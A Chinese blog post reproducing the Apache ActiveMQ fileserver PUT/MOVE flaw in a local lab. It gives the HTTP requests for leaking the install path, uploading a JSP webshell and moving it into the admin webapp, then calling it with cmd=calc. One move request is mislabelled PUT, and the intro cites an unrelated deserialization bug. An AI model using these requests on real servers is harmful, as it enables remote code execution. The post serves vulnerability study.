Apache activeMQ漏洞复现put和move方法

漏洞说明
Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务,集群,Spring Framework等。Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java消息服务(JMS)ObjectMessage对象利用该漏洞执行任意代码。
1、ActiveMQ默认开启PUT MOVE等不安全的http方法
2、ActiveMQ的file server允许客户通过PUT上传文件

环境搭建
window 7 IP地址为192.168.17.173
配置java环境变量,下载jre
https://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-2133151.html
双击运行一路下一步,然后配置环境变量。
可参考https://jingyan.baidu.com/article/6dad5075d1dc40a123e36ea3.html

下载有漏洞版本的ActiveMQ,这里下载的是5.7.0
地址为http://activemq.apache.org/download-archives.html
解压打开进入bin目录双击activemq启动
在这里插入图片描述访问http://192.168.17.173:8161/admin/
在这里插入图片描述自此环境搭建成功
打开Burp suite抓包
PUT /fileserver/a…/…/%08/…%08/.%08/%08 HTTP/1.1
爆出绝对路径
在这里插入图片描述
写入jsp代码
在这里插入图片描述移动
上传shell时,file server中是没有执行权限的,需要移动到admin中才能执行shell
PUT /fileserver/test.jsp HTTP/1.1
Destination: file:C:/Users/ruan/Desktop/apache-activemq-5.7.0/webapps/admin/test.jsp

在这里插入图片描述访问http://192.168.17.173:8161/admin/test.jsp?cmd=calc

在这里插入图片描述在这里插入图片描述

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值